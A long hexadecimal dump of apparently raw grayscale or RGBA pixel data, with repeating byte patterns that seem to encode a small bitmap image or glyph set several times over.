000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf30303030000000000000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef30303030000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8fffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff30303030000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbfffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040dfdfdfdf0000000020202020ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040cfcfcfcf0000000020202020ffffffffffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff40404040000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbf000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8f00000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef303030300000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf303030300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff00000000ffffffff00000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf30303030000000000000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef30303030000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8fffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff30303030000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbfffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040dfdfdfdf0000000020202020ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040cfcfcfcf0000000020202020ffffffffffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff40404040000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbf000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8f00000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef303030300000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf303030300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff00000000ffffffff00000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf30303030000000000000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef30303030000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8fffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff30303030000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbfffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040dfdfdfdf0000000020202020ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040cfcfcfcf0000000020202020ffffffffffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff40404040000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbf000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8f00000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef303030300000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf303030300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff00000000ffffffff00000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf30303030000000000000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef30303030000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8fffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff30303030000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbfffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040dfdfdfdf0000000020202020ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040cfcfcfcf0000000020202020ffffffffffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff40404040000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbf000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8f00000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef303030300000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf303030300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff00000000ffffffff00000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf30303030000000000000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef30303030000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8fffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff30303030000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbfffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040dfdfdfdf0000000020202020ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040cfcfcfcf0000000020202020ffffffffffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff40404040000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbf000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8f00000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef303030300000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf303030300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff00000000ffffffff00000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf30303030000000000000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef30303030000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8fffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff30303030000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbfffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040dfdfdfdf0000000020202020ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040cfcfcfcf0000000020202020ffffffffffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff40404040000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbf000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8f00000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef303030300000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf303030300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff00000000ffffffff00000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf30303030000000000000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef30303030000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8fffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff30303030000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbfffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040dfdfdfdf0000000020202020ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040cfcfcfcf0000000020202020ffffffffffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff40404040000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbf000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8f00000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef303030300000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf303030300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff00000000ffffffff00000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf30303030000000000000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef30303030000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8fffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff30303030000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbfffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040dfdfdfdf0000000020202020ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040cfcfcfcf0000000020202020ffffffffffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff40404040000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbf000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8f00000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef303030300000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf303030300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff00000000ffffffff00000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf30303030000000000000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef30303030000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8fffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff30303030000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbfffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040dfdfdfdf0000000020202020ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000010101010ffffffff0000000000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040cfcfcfcf0000000020202020ffffffffffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff40404040000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbf000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8f00000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef303030300000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf303030300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff00000000ffffffff00000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000